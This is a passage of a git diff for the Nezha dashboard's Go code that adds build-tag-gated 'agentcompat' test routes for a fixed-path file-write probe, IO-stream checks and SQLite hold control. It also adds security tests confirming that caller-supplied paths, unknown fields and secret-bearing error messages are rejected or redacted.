gin.SetMode(gin.TestMode) + router := gin.New() + registerAgentcompatRoutes(router) + server := httptest.NewServer(router) + t.Cleanup(server.Close) + return server +} + +func mkDistinctCapabilityToken(t *testing.T, userID uint64, suffix string) (*model.APIToken, string) { + t.Helper() + plaintext := "nzp_" + strings.Repeat("z", 32) + "_" + suffix + token := &model.APIToken{UserID: userID, Name: suffix, TokenHash: model.HashAPIToken(plaintext)} + token.SetScopes([]string{model.ScopeServerRead}) + require.NoError(t, singleton.DB.Create(token).Error) + return token, plaintext +} + +func bindAgentcompatTerminalCapability(t *testing.T, handler *rpc.NezhaHandler, rawCapability string, tokenID, userID, serverID uint64, streamID string) { + t.Helper() + capability, err := rpc.ParseAgentCompatIOStreamCapability(rawCapability) + require.NoError(t, err) + access := rpc.AgentCompatCapabilityAccess{ + Capability: capability, Owner: rpc.AgentCompatCapabilityOwner{PATID: tokenID, UserID: userID}, + Purpose: rpc.AgentCompatCapabilityTerminal, TargetServerID: serverID, ServerAccessAllowed: true, + } + require.NoError(t, handler.CreateStreamWithPurpose(streamID, userID, serverID, rpc.PurposeTerminal)) + require.NoError(t, handler.BindAgentCompatIOStreamCapability(rpc.AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: access, StreamID: streamID})) +} + +func capabilityAccessJSON(capability, purpose string, serverID, resourceID uint64) string { + body, _ := json.Marshal(agentcompatCapabilityAccessRequest{Capability: capability, Purpose: purpose, ServerID: serverID, ResourceID: resourceID}) + return string(body) +} + +func postAgentcompatRaw(t *testing.T, path, token, body string) (int, string) { + t.Helper() + requestContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, path, bytes.NewBufferString(body)) + require.NoError(t, err) + request.Header.Set("Authorization", "Bearer "+token) + request.Header.Set("Content-Type", "application/json") + response, err := http.DefaultClient.Do(request) + require.NoError(t, err) + defer response.Body.Close() + responseBody, err := io.ReadAll(response.Body) + require.NoError(t, err) + return response.StatusCode, string(responseBody) +} diff --git a/cmd/dashboard/controller/agentcompat_routes.go b/cmd/dashboard/controller/agentcompat_routes.go new file mode 100644 index 00000000..c262d4d2 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_routes.go @@ -0,0 +1,147 @@ +//go:build agentcompat + +package controller + +import ( + "encoding/json" + "errors" + "fmt" + "io" + "time" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +const ( + agentcompatOversizeWriteSentinel = "agentcompat:oversize-write-contract" + agentcompatOversizeWriteServerPath = "/tmp/agentcompat-oversize-contract.txt" + agentcompatFsWriteOperationOversize = "oversize" +) + +type agentcompatFsWriteContractRequest struct { + ServerID uint64 `json:"server_id"` + Operation agentcompatFsWriteOperation `json:"operation"` +} + +type agentcompatFsWriteOperation string + +type agentcompatFsWriteContractResponse struct { + Result model.FsWriteResult `json:"result"` + AgentRPCResponse bool `json:"agent_rpc_response"` +} + +func registerAgentcompatRoutes(router *gin.Engine) { + patAuth := requiredAgentcompatPAT(apiTokenAuthMiddleware()) + router.POST("/agentcompat/fs-write-contract", patAuth, commonHandler(agentcompatFsWriteContract)) + router.POST("/agentcompat/mcp-rate-limit-probe", patAuth, commonHandler(agentcompatMCPRateLimitProbeRoute)) + router.GET("/agentcompat/io-stream-state", patAuth, commonHandler(agentcompatIOStreamSnapshot)) + router.POST("/agentcompat/io-stream-state", patAuth, commonHandler(agentcompatIOStreamWait)) + router.POST("/agentcompat/io-stream-quota-probe", patAuth, commonHandler(agentcompatIOStreamQuotaProbeRoute)) + registerAgentcompatCapabilityRoutes(router, patAuth) + registerAgentcompatSQLiteHoldRoutes(router, patAuth) +} + +type agentcompatIOStreamQuotaProbeResponse struct { + UserAccepted int `json:"user_accepted"` + UserRejected int `json:"user_rejected"` + ServerAccepted int `json:"server_accepted"` + ServerRejected int `json:"server_rejected"` + Clean bool `json:"clean"` +} + +func agentcompatIOStreamQuotaProbeRoute(context *gin.Context) (agentcompatIOStreamQuotaProbeResponse, error) { + if rpc.NezhaHandlerSingleton == nil { + return agentcompatIOStreamQuotaProbeResponse{}, errors.New("IOStream handler is unavailable") + } + result := rpc.RunIOStreamQuotaProbe(context.Request.Context()) + if result.Err != nil { + return agentcompatIOStreamQuotaProbeResponse{}, result.Err + } + return agentcompatIOStreamQuotaProbeResponse{UserAccepted: result.UserAccepted, UserRejected: result.UserRejected, ServerAccepted: result.ServerAccepted, ServerRejected: result.ServerRejected, Clean: result.TrackedStreams == 0}, nil +} + +func requiredAgentcompatPAT(auth gin.HandlerFunc) gin.HandlerFunc { + return func(context *gin.Context) { + auth(context) + if context.IsAborted() { + return + } + if APITokenFromContext(context) == nil { + abortAPITokenUnauthorized(context, "api token required") + } + } +} + +func agentcompatIOStreamSnapshot(*gin.Context) (rpc.IOStreamState, error) { + if rpc.NezhaHandlerSingleton == nil { + return rpc.IOStreamState{}, errors.New("IOStream handler is unavailable") + } + return rpc.NezhaHandlerSingleton.SnapshotIOStreamState(), nil +} + +func agentcompatIOStreamWait(context *gin.Context) (rpc.IOStreamState, error) { + if rpc.NezhaHandlerSingleton == nil { + return rpc.IOStreamState{}, errors.New("IOStream handler is unavailable") + } + var expectation rpc.IOStreamStateExpectation + if err := context.ShouldBindJSON(&expectation); err != nil { + return rpc.IOStreamState{}, err + } + return rpc.NezhaHandlerSingleton.WaitForIOStreamState(context.Request.Context(), expectation) +} + +func agentcompatFsWriteContract(context *gin.Context) (agentcompatFsWriteContractResponse, error) { + var request agentcompatFsWriteContractRequest + if err := decodeAgentcompatJSON(context, &request); err != nil { + return agentcompatFsWriteContractResponse{}, err + } + if request.ServerID == 0 || request.Operation == "" { + return agentcompatFsWriteContractResponse{}, errors.New("server_id and operation are required") + } + if request.Operation != agentcompatFsWriteOperation(agentcompatFsWriteOperationOversize) { + return agentcompatFsWriteContractResponse{}, errors.New("unknown filesystem write operation") + } + token := APITokenFromContext(context) + if token == nil || !token.HasScope(model.ScopeServerWrite) { + return agentcompatFsWriteContractResponse{}, errors.New("missing required scope: " + model.ScopeServerWrite) + } + server, err := requireServerAccess(context, request.ServerID) + if err != nil { + return agentcompatFsWriteContractResponse{}, err + } + content := "denied" + if request.Operation == agentcompatFsWriteOperation(agentcompatFsWriteOperationOversize) { + content = agentcompatOversizeWriteSentinel + } + // This tagged probe owns both path and payload; accepting either from callers would make it an arbitrary-write endpoint. + raw, err := rpc.CallAgent(context.Request.Context(), server.ID, model.TaskTypeFsWrite, model.FsWriteRequest{ + Path: agentcompatOversizeWriteServerPath, Content: content, Encoding: "utf8", Mode: "0600", + }, 30*time.Second) + if err != nil { + return agentcompatFsWriteContractResponse{}, err + } + var result model.FsWriteResult + if err := json.Unmarshal(raw, &result); err != nil { + return agentcompatFsWriteContractResponse{}, err + } + return agentcompatFsWriteContractResponse{Result: result, AgentRPCResponse: true}, nil +} + +func decodeAgentcompatJSON(context *gin.Context, value any) error { + decoder := json.NewDecoder(context.Request.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(value); err != nil { + return err + } + var trailing any + if err := decoder.Decode(&trailing); !errors.Is(err, io.EOF) { + if err == nil { + return fmt.Errorf("trailing JSON values are not allowed") + } + return err + } + return nil +} diff --git a/cmd/dashboard/controller/agentcompat_routes_default.go b/cmd/dashboard/controller/agentcompat_routes_default.go new file mode 100644 index 00000000..9815f6e3 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_routes_default.go @@ -0,0 +1,7 @@ +//go:build !agentcompat + +package controller + +import "github.com/gin-gonic/gin" + +func registerAgentcompatRoutes(*gin.Engine) {} diff --git a/cmd/dashboard/controller/agentcompat_routes_security_test.go b/cmd/dashboard/controller/agentcompat_routes_security_test.go new file mode 100644 index 00000000..2dee0e78 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_routes_security_test.go @@ -0,0 +1,69 @@ +//go:build agentcompat + +package controller + +import ( + "bytes" + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func TestAgentcompatFsWriteContractRejectsCallerPayloadAndForeignServer(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + _, plaintext := mkToken(t, userID, []string{model.ScopeServerWrite}, []uint64{99}) + server := newAgentcompatCapabilityServer(t) + + status, body := postAgentcompatRaw(t, server.URL+"/agentcompat/fs-write-contract", plaintext, `{"server_id":7,"path":"/tmp/foreign","operation":"oversize","content":"attacker"}`) + + require.Equal(t, http.StatusOK, status) + require.NotContains(t, body, "attacker") + require.Contains(t, body, "unknown field") + + status, body = postAgentcompatRaw(t, server.URL+"/agentcompat/fs-write-contract", plaintext, `{"server_id":7,"operation":"oversize"}`) + require.Equal(t, http.StatusOK, status) + require.Contains(t, body, "permission denied") +} + +func TestAgentcompatFsWriteContractRequiresWriteScopeBeforeRPC(t *testing.T) { + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + _, plaintext := mkToken(t, userID, []string{model.ScopeServerRead}, nil) + server := newAgentcompatCapabilityServer(t) + + status, body := postAgentcompatRaw(t, server.URL+"/agentcompat/fs-write-contract", plaintext, `{"server_id":7,"operation":"oversize"}`) + + require.Equal(t, http.StatusOK, status) + require.Contains(t, body, "missing required scope") + require.NotContains(t, body, `"agent_rpc_response":true`) +} + +func TestAgentcompatProbeJSONRejectsUnknownFieldsAndTrailingValues(t *testing.T) { + tests := []string{ + `{"server_id":7,"operation":"oversize","path":"caller"}`, + `{"server_id":7,"operation":"oversize","content":"caller"}`, + `{"server_id":7,"operation":"oversize"}{}`, + } + for _, body := range tests { + t.Run(body, func(t *testing.T) { + context := newAgentcompatJSONContext(t, body) + var request agentcompatFsWriteContractRequest + require.Error(t, decodeAgentcompatJSON(context, &request)) + }) + } +} + +func newAgentcompatJSONContext(t *testing.T, body string) *gin.Context { + t.Helper() + gin.SetMode(gin.TestMode) + context, _ := gin.CreateTestContext(httptest.NewRecorder()) + context.Request = httptest.NewRequest(http.MethodPost, "/", bytes.NewBufferString(body)) + context.Request.Header.Set("Content-Type", "application/json") + return context +} diff --git a/cmd/dashboard/controller/agentcompat_sqlite_hold_error_agentcompat_linux_test.go b/cmd/dashboard/controller/agentcompat_sqlite_hold_error_agentcompat_linux_test.go new file mode 100644 index 00000000..46953c06 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_sqlite_hold_error_agentcompat_linux_test.go @@ -0,0 +1,40 @@ +//go:build agentcompat && linux + +package controller + +import ( + "context" + "errors" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/service/singleton" +) + +func TestAgentcompatSQLiteHoldErrorUsesFixedRedactedMessages(t *testing.T) { + tests := []struct { + cause error + want string + }{ + {agentcompatSQLiteHoldInvalidRequest{}, "agentcompat sqlite hold request is invalid"}, + {singleton.ErrSQLiteHoldSessionActive, "agentcompat sqlite hold is active"}, + {singleton.ErrSQLiteHoldStaleSession, "agentcompat sqlite hold receipt is stale"}, + {singleton.ErrSQLiteHoldFinalizationNotStarted, "agentcompat sqlite hold is not ready"}, + {singleton.ErrSQLiteHoldFinalizationStarted, "agentcompat sqlite hold is not ready"}, + {singleton.ErrSQLiteHoldUnexpectedSelection, "agentcompat sqlite hold was aborted"}, + {singleton.ErrSQLiteHoldAmbiguousCandidate, "agentcompat sqlite hold was aborted"}, + {singleton.ErrSQLiteHoldAborted, "agentcompat sqlite hold was aborted"}, + {context.Canceled, "agentcompat sqlite hold wait was canceled"}, + {context.DeadlineExceeded, "agentcompat sqlite hold wait was canceled"}, + {errors.New("path=/secret token=nzp_secret"), "agentcompat sqlite hold control is unavailable"}, + } + + for _, test := range tests { + // When + err := agentcompatSQLiteHoldError(test.cause) + + // Then + require.EqualError(t, err, test.want) + } +} diff --git a/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_linux.go b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_linux.go new file mode 100644 index 00000000..f966eb22 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_linux.go @@ -0,0 +1,168 @@ +//go:build agentcompat && linux + +package controller + +import ( + "context" + "encoding/base64" + "encoding/json" + "errors" + "io" + "net/http" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/service/singleton" +) + +const agentcompatSQLiteHoldPath = "/agentcompat/sqlite-hold/" + +type agentcompatSQLiteHoldControl interface { + ArmNextSQLiteHold() (singleton.SQLiteHoldReceipt, error) + WaitSQLiteHoldSelected(context.Context, singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) + WaitSQLiteHoldFinalizing(context.Context, singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) + SnapshotSQLiteHold(singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) + ReleaseSQLiteHold(singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) + AbortSQLiteHold(singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) +} + +type agentcompatSQLiteHoldFacade struct{} + +func (agentcompatSQLiteHoldFacade) ArmNextSQLiteHold() (singleton.SQLiteHoldReceipt, error) { + return singleton.ArmNextSQLiteHold() +} +func (agentcompatSQLiteHoldFacade) WaitSQLiteHoldSelected(ctx context.Context, receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + return singleton.WaitSQLiteHoldSelected(ctx, receipt) +} +func (agentcompatSQLiteHoldFacade) WaitSQLiteHoldFinalizing(ctx context.Context, receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + return singleton.WaitSQLiteHoldFinalizing(ctx, receipt) +} +func (agentcompatSQLiteHoldFacade) SnapshotSQLiteHold(receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + return singleton.SnapshotSQLiteHold(receipt) +} +func (agentcompatSQLiteHoldFacade) ReleaseSQLiteHold(receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + return singleton.ReleaseSQLiteHold(receipt) +} +func (agentcompatSQLiteHoldFacade) AbortSQLiteHold(receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + return singleton.AbortSQLiteHold(receipt) +} + +var agentcompatSQLiteHoldController agentcompatSQLiteHoldControl = agentcompatSQLiteHoldFacade{} + +type agentcompatSQLiteHoldRequest struct { + ID string `json:"id"` + State singleton.SQLiteHoldControlState `json:"state"` +} + +func registerAgentcompatSQLiteHoldRoutes(router *gin.Engine, patAuth gin.HandlerFunc) { + readOnlyPAT := func(c *gin.Context) { suppressAPITokenAuthWrites(c) } + router.POST(agentcompatSQLiteHoldPath+"arm", readOnlyPAT, patAuth, commonHandler(agentcompatSQLiteHoldArm)) + router.POST(agentcompatSQLiteHoldPath+"wait", readOnlyPAT, patAuth, commonHandler(agentcompatSQLiteHoldWait)) + router.POST(agentcompatSQLiteHoldPath+"snapshot", readOnlyPAT, patAuth, commonHandler(agentcompatSQLiteHoldSnapshot)) + router.POST(agentcompatSQLiteHoldPath+"release", readOnlyPAT, patAuth, commonHandler(agentcompatSQLiteHoldRelease)) + router.POST(agentcompatSQLiteHoldPath+"abort", readOnlyPAT, patAuth, commonHandler(agentcompatSQLiteHoldAbort)) +} + +func agentcompatSQLiteHoldArm(c *gin.Context) (singleton.SQLiteHoldReceipt, error) { + var request struct{} + if err := decodeAgentcompatSQLiteHoldRequest(c, &request); err != nil { + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldError(err) + } + receipt, err := agentcompatSQLiteHoldController.ArmNextSQLiteHold() + return receipt, agentcompatSQLiteHoldError(err) +} +func agentcompatSQLiteHoldWait(c *gin.Context) (singleton.SQLiteHoldReceipt, error) { + receipt, err := decodeAgentcompatSQLiteHoldReceipt(c, true) + if err != nil { + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldError(err) + } + switch receipt.State { + case singleton.SQLiteHoldControlStateSelected: + receipt, err = agentcompatSQLiteHoldController.WaitSQLiteHoldSelected(c.Request.Context(), receipt) + case singleton.SQLiteHoldControlStateFinalizing: + receipt, err = agentcompatSQLiteHoldController.WaitSQLiteHoldFinalizing(c.Request.Context(), receipt) + default: + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldInvalidRequest{} + } + return receipt, agentcompatSQLiteHoldError(err) +} +func agentcompatSQLiteHoldSnapshot(c *gin.Context) (singleton.SQLiteHoldReceipt, error) { + receipt, err := decodeAgentcompatSQLiteHoldReceipt(c, false) + if err != nil { + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldError(err) + } + result, err := agentcompatSQLiteHoldController.SnapshotSQLiteHold(receipt) + return result, agentcompatSQLiteHoldError(err) +} +func agentcompatSQLiteHoldRelease(c *gin.Context) (singleton.SQLiteHoldReceipt, error) { + receipt, err := decodeAgentcompatSQLiteHoldReceipt(c, false) + if err != nil { + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldError(err) + } + result, err := agentcompatSQLiteHoldController.ReleaseSQLiteHold(receipt) + return result, agentcompatSQLiteHoldError(err) +} +func agentcompatSQLiteHoldAbort(c *gin.Context) (singleton.SQLiteHoldReceipt, error) { + receipt, err := decodeAgentcompatSQLiteHoldReceipt(c, false) + if err != nil { + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldError(err) + } + result, err := agentcompatSQLiteHoldController.AbortSQLiteHold(receipt) + return result, agentcompatSQLiteHoldError(err) +} + +type agentcompatSQLiteHoldInvalidRequest struct{} + +func (agentcompatSQLiteHoldInvalidRequest) Error() string { + return "agentcompat sqlite hold request is invalid" +} + +func decodeAgentcompatSQLiteHoldRequest(c *gin.Context, value any) error { + c.Request.Body = http.MaxBytesReader(c.Writer, c.Request.Body, 512) + decoder := json.NewDecoder(c.Request.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(value); err != nil { + return agentcompatSQLiteHoldInvalidRequest{} + } + var trailing any + if err := decoder.Decode(&trailing); !errors.Is(err, io.EOF) { + return agentcompatSQLiteHoldInvalidRequest{} + } + return nil +} +func decodeAgentcompatSQLiteHoldReceipt(c *gin.Context, requireState bool) (singleton.SQLiteHoldReceipt, error) { + var request agentcompatSQLiteHoldRequest + if err := decodeAgentcompatSQLiteHoldRequest(c, &request); err != nil { + return singleton.SQLiteHoldReceipt{}, err + } + decoded, err := base64.RawURLEncoding.DecodeString(request.ID) + if err != nil || len(request.ID) != 43 || len(decoded) != 32 { + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldInvalidRequest{} + } + if !requireState && request.State != "" { + return singleton.SQLiteHoldReceipt{}, agentcompatSQLiteHoldInvalidRequest{} + } + return singleton.SQLiteHoldReceipt{ID: request.ID, State: request.State}, nil +} +func agentcompatSQLiteHoldError(err error) error { + if err == nil { + return nil + } + if errors.As(err, new(agentcompatSQLiteHoldInvalidRequest)) { + return agentcompatSQLiteHoldInvalidRequest{} + } + switch { + case errors.Is(err, singleton.ErrSQLiteHoldSessionActive): + return errors.New("agentcompat sqlite hold is active") + case errors.Is(err, singleton.ErrSQLiteHoldStaleSession): + return errors.New("agentcompat sqlite hold receipt is stale") + case errors.Is(err, singleton.ErrSQLiteHoldFinalizationNotStarted), errors.Is(err, singleton.ErrSQLiteHoldFinalizationStarted): + return errors.New("agentcompat sqlite hold is not ready") + case errors.Is(err, singleton.ErrSQLiteHoldUnexpectedSelection), errors.Is(err, singleton.ErrSQLiteHoldAmbiguousCandidate), errors.Is(err, singleton.ErrSQLiteHoldAborted): + return errors.New("agentcompat sqlite hold was aborted") + case errors.Is(err, context.Canceled), errors.Is(err, context.DeadlineExceeded): + return errors.New("agentcompat sqlite hold wait was canceled") + default: + return errors.New("agentcompat sqlite hold control is unavailable") + } +} diff --git a/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_linux_test.go b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_linux_test.go new file mode 100644 index 00000000..bf03787c --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_linux_test.go @@ -0,0 +1,201 @@ +//go:build agentcompat && linux + +package controller + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +type agentcompatSQLiteHoldControlProbe struct { + err error + armCalls int + lastCall string + waitContextError error +} + +func (probe *agentcompatSQLiteHoldControlProbe) ArmNextSQLiteHold() (singleton.SQLiteHoldReceipt, error) { + probe.armCalls++ + probe.lastCall = "arm" + return agentcompatSQLiteHoldTestReceipt(singleton.SQLiteHoldControlStateArmed), probe.err +} + +func (probe *agentcompatSQLiteHoldControlProbe) WaitSQLiteHoldSelected(ctx context.Context, receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + probe.lastCall = "wait-selected" + probe.waitContextError = ctx.Err() + receipt.State = singleton.SQLiteHoldControlStateSelected + return receipt, probe.err +} + +func (probe *agentcompatSQLiteHoldControlProbe) WaitSQLiteHoldFinalizing(ctx context.Context, receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + probe.lastCall = "wait-finalizing" + probe.waitContextError = ctx.Err() + receipt.State = singleton.SQLiteHoldControlStateFinalizing + return receipt, probe.err +} + +func (probe *agentcompatSQLiteHoldControlProbe) SnapshotSQLiteHold(receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + probe.lastCall = "snapshot" + receipt.State = singleton.SQLiteHoldControlStateSelected + return receipt, probe.err +} + +func (probe *agentcompatSQLiteHoldControlProbe) ReleaseSQLiteHold(receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + probe.lastCall = "release" + receipt.State = singleton.SQLiteHoldControlStateReleased + return receipt, probe.err +} + +func (probe *agentcompatSQLiteHoldControlProbe) AbortSQLiteHold(receipt singleton.SQLiteHoldReceipt) (singleton.SQLiteHoldReceipt, error) { + probe.lastCall = "abort" + receipt.State = singleton.SQLiteHoldControlStateAborted + return receipt, probe.err +} + +func TestAgentcompatSQLiteHoldRoutesRequirePATWithoutScopeOrAuthWrites(t *testing.T) { + // Given + router, token, storedToken, probe := setupAgentcompatSQLiteHoldRouteTest(t) + + // When + status, response := requestAgentcompatSQLiteHold(t, router, context.Background(), "arm", token, `{}`) + + // Then + require.Equal(t, http.StatusOK, status) + require.True(t, response.Success) + require.Equal(t, agentcompatSQLiteHoldTestReceipt(singleton.SQLiteHoldControlStateArmed), response.Data) + require.Equal(t, 1, probe.armCalls) + var refreshed model.APIToken + require.NoError(t, singleton.DB.First(&refreshed, storedToken.ID).Error) + require.Nil(t, refreshed.LastUsedAt) + require.Empty(t, refreshed.LastUsedIP) + + for _, authorization := range []string{"", "jwt-looking-value", "nzp_invalid"} { + status, _ = requestAgentcompatSQLiteHold(t, router, context.Background(), "arm", authorization, `{}`) + require.Equal(t, http.StatusUnauthorized, status) + } + var wafRows int64 + require.NoError(t, singleton.DB.Model(&model.WAF{}).Count(&wafRows).Error) + require.Zero(t, wafRows) +} + +func TestAgentcompatSQLiteHoldRoutesRejectInvalidBodiesBeforeControl(t *testing.T) { + // Given + router, token, _, probe := setupAgentcompatSQLiteHoldRouteTest(t) + tests := []string{"", `{`, `{"unknown":true}`, `{} {}`, strings.Repeat(" ", 513) + `{}`} + + for _, body := range tests { + // When + status, response := requestAgentcompatSQLiteHold(t, router, context.Background(), "arm", token, body) + + // Then + require.Equal(t, http.StatusOK, status) + require.False(t, response.Success) + require.Equal(t, "agentcompat sqlite hold request is invalid", response.Error) + } + require.Zero(t, probe.armCalls) +} + +func TestAgentcompatSQLiteHoldRoutesDispatchTypedLifecycleAndPropagateContext(t *testing.T) { + // Given + router, token, _, probe := setupAgentcompatSQLiteHoldRouteTest(t) + receiptID := agentcompatSQLiteHoldTestReceipt("").ID + tests := []struct { + path string + body string + wantCall string + wantState singleton.SQLiteHoldControlState + }{ + {"wait", `{"id":"` + receiptID + `","state":"selected"}`, "wait-selected", singleton.SQLiteHoldControlStateSelected}, + {"wait", `{"id":"` + receiptID + `","state":"finalizing"}`, "wait-finalizing", singleton.SQLiteHoldControlStateFinalizing}, + {"snapshot", `{"id":"` + receiptID + `"}`, "snapshot", singleton.SQLiteHoldControlStateSelected}, + {"release", `{"id":"` + receiptID + `"}`, "release", singleton.SQLiteHoldControlStateReleased}, + {"abort", `{"id":"` + receiptID + `"}`, "abort", singleton.SQLiteHoldControlStateAborted}, + } + + for _, test := range tests { + // When + status, response := requestAgentcompatSQLiteHold(t, router, context.Background(), test.path, token, test.body) + + // Then + require.Equal(t, http.StatusOK, status) + require.True(t, response.Success) + require.Equal(t, test.wantCall, probe.lastCall) + require.Equal(t, test.wantState, response.Data.State) + } + + canceledContext, cancel := context.WithCancel(context.Background()) + cancel() + status, response := requestAgentcompatSQLiteHold(t, router, canceledContext, "wait", token, `{"id":"`+receiptID+`","state":"selected"}`) + require.Equal(t, http.StatusOK, status) + require.True(t, response.Success) + require.ErrorIs(t, probe.waitContextError, context.Canceled) + + status, response = requestAgentcompatSQLiteHold(t, router, context.Background(), "wait", token, `{"id":"`+receiptID+`","state":"armed"}`) + require.Equal(t, http.StatusOK, status) + require.False(t, response.Success) + require.Equal(t, "agentcompat sqlite hold request is invalid", response.Error) +} + +func TestAgentcompatSQLiteHoldRoutesRedactControlErrors(t *testing.T) { + // Given + router, token, _, probe := setupAgentcompatSQLiteHoldRouteTest(t) + probe.err = errors.New("token=nzp_secret path=/root/private dashboard.sqlite-journal") + + // When + status, response := requestAgentcompatSQLiteHold(t, router, context.Background(), "arm", token, `{}`) + + // Then + require.Equal(t, http.StatusOK, status) + require.False(t, response.Success) + require.Equal(t, "agentcompat sqlite hold control is unavailable", response.Error) + encoded, err := json.Marshal(response) + require.NoError(t, err) + require.NotContains(t, string(encoded), "nzp_secret") + require.NotContains(t, string(encoded), "/root/private") + require.NotContains(t, string(encoded), "journal") +} + +func setupAgentcompatSQLiteHoldRouteTest(t *testing.T) (*gin.Engine, string, *model.APIToken, *agentcompatSQLiteHoldControlProbe) { + t.Helper() + cleanup, userID := setupMCPTest(t) + t.Cleanup(cleanup) + storedToken, token := mkToken(t, userID, nil, nil) + probe := &agentcompatSQLiteHoldControlProbe{} + originalControl := agentcompatSQLiteHoldController + agentcompatSQLiteHoldController = probe + t.Cleanup(func() { agentcompatSQLiteHoldController = originalControl }) + router := gin.New() + registerAgentcompatSQLiteHoldRoutes(router, requiredAgentcompatPAT(apiTokenAuthMiddleware())) + return router, token, storedToken, probe +} + +func requestAgentcompatSQLiteHold(t *testing.T, router *gin.Engine, ctx context.Context, path, authorization, body string) (int, model.CommonResponse[singleton.SQLiteHoldReceipt]) { + t.Helper() + request := httptest.NewRequestWithContext(ctx, http.MethodPost, agentcompatSQLiteHoldPath+path, bytes.NewBufferString(body)) + request.Header.Set("Content-Type", "application/json") + if authorization != "" { + request.Header.Set("Authorization", "Bearer "+authorization) + } + responseRecorder := httptest.NewRecorder() + router.ServeHTTP(responseRecorder, request) + var response model.CommonResponse[singleton.SQLiteHoldReceipt] + require.NoError(t, json.Unmarshal(responseRecorder.Body.Bytes(), &response)) + return responseRecorder.Code, response +} + +func agentcompatSQLiteHoldTestReceipt(state singleton.SQLiteHoldControlState) singleton.SQLiteHoldReceipt { + return singleton.SQLiteHoldReceipt{ID: base64.RawURLEncoding.EncodeToString(bytes.Repeat([]byte{17}, 32)), State: state} +} diff --git a/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_nonlinux.go b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_nonlinux.go new file mode 100644 index 00000000..07112ad9 --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_agentcompat_nonlinux.go @@ -0,0 +1,7 @@ +//go:build agentcompat && !linux + +package controller + +import "github.com/gin-gonic/gin" + +func registerAgentcompatSQLiteHoldRoutes(*gin.Engine, gin.HandlerFunc) {} diff --git a/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_default_test.go b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_default_test.go new file mode 100644 index 00000000..f8e9760e --- /dev/null +++ b/cmd/dashboard/controller/agentcompat_sqlite_hold_routes_default_test.go @@ -0,0 +1,27 @@ +//go:build !agentcompat + +package controller + +import ( + "net/http" + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" +) + +func TestAgentcompatSQLiteHoldRoutesAreAbsentWithoutBuildTag(t *testing.T) { + // Given + gin.SetMode(gin.TestMode) + router := gin.New() + registerAgentcompatRoutes(router) + request := httptest.NewRequest(http.MethodPost, "/agentcompat/sqlite-hold/arm", nil) + response := httptest.NewRecorder() + + // When + router.ServeHTTP(response, request) + + // Then + require.Equal(t, http.StatusNotFound, response.Code) +} diff --git a/cmd/dashboard/controller/alertrule.go b/cmd/dashboard/controller/alertrule.go index d85a5cb3..3c54f4a2 100644 --- a/cmd/dashboard/controller/alertrule.go +++ b/cmd/dashboard/controller/alertrule.go @@ -1,7 +1,7 @@ package controller import ( - "maps" + "slices" "strconv" "time" @@ -167,9 +167,14 @@ func batchDeleteAlertRule(c *gin.Context) (any, error) { } func validateRule(c *gin.Context, r *model.AlertRule) error { + if !r.HasPermission(c) { + return singleton.Localizer.ErrorT("permission denied") + } if len(r.Rules) > 0 { for _, rule := range r.Rules { - if !singleton.ServerShared.CheckPermission(c, 